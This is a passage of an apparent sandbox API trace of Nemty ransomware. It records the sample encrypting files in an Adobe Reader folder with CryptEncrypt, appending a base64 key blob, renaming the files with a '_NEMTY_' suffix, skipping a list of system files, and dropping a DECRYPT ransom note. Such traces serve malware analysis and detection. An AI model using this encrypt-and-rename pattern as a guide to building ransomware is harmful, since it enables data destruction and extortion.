Size=0x8d10) returned 0x6352c48 [0184.719] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.719] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8d10, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x8d10, lpOverlapped=0x0) returned 1 [0184.722] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.723] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8d10, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x8d10, lpOverlapped=0x0) returned 1 [0184.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.723] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=36127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8d1f [0184.723] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0184.723] CloseHandle (hObject=0x2f0) returned 1 [0184.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0184.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0184.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0184.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0184.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.723] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0184.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0184.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0184.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.724] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0184.724] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0184.725] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0184.725] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0184.725] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0184.725] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0184.725] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0184.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0184.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0184.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0184.725] Sleep (dwMilliseconds=0x5) [0184.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21c19f70, dwHighDateTime=0x1d561e8)) [0184.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21c19f70, dwHighDateTime=0x1d561e8)) [0184.733] GetLastError () returned 0x0 [0184.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.733] GetLastError () returned 0x0 [0184.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.733] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0184.733] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0184.733] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0184.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0184.734] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="ewH6TDHasDtCCJ2HPBWNy652lIbKobwl952gBSv0HKWXKuEcJoW34xNaMGvfgbdW\r\n6sEQ6t0LNT/ospKYo2AsvRpmywRkA4AsWnSG//CpnLm+1Y9cAC3O7WyzmG6C15AU\r\nVRbSjRo8W9Mds7UTCoTV/VIbBAKwwMgAaqs1ot4WxsZGVcRk0ek7YwmKdL8AoRDe\r\nqwuxpnTv0wCJHtyAdAUfunRAbkkpGzAB/tjJRRwu3mbkpcgrYwgCfxZdG3Pd1BId\r\n9YXFVB1LYqvNjQyMDbcxJ1iD3P/L5dXLWTVIJ0w5J6rZpVNsRbqBwbTAPb+uzWf8\r\n1Y/xhlk9xI7Smg9wHCfKog==\r\n", pcchString=0x653e29c) returned 1 [0184.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0184.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0184.734] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=226) returned 1 [0184.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0184.734] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.734] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0184.735] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.735] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0184.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0184.735] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0184.735] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0184.735] CloseHandle (hObject=0x2f0) returned 1 [0184.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0184.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0184.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0184.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0184.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.736] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0184.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0184.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0184.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0184.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.737] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21bcdcb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21bcdcb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21bcdcb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0184.737] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0184.738] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0184.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0184.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0184.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0184.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.739] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21bcdcb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21bcdcb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21bcdcb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0184.739] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0184.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.739] HeapFree (in: 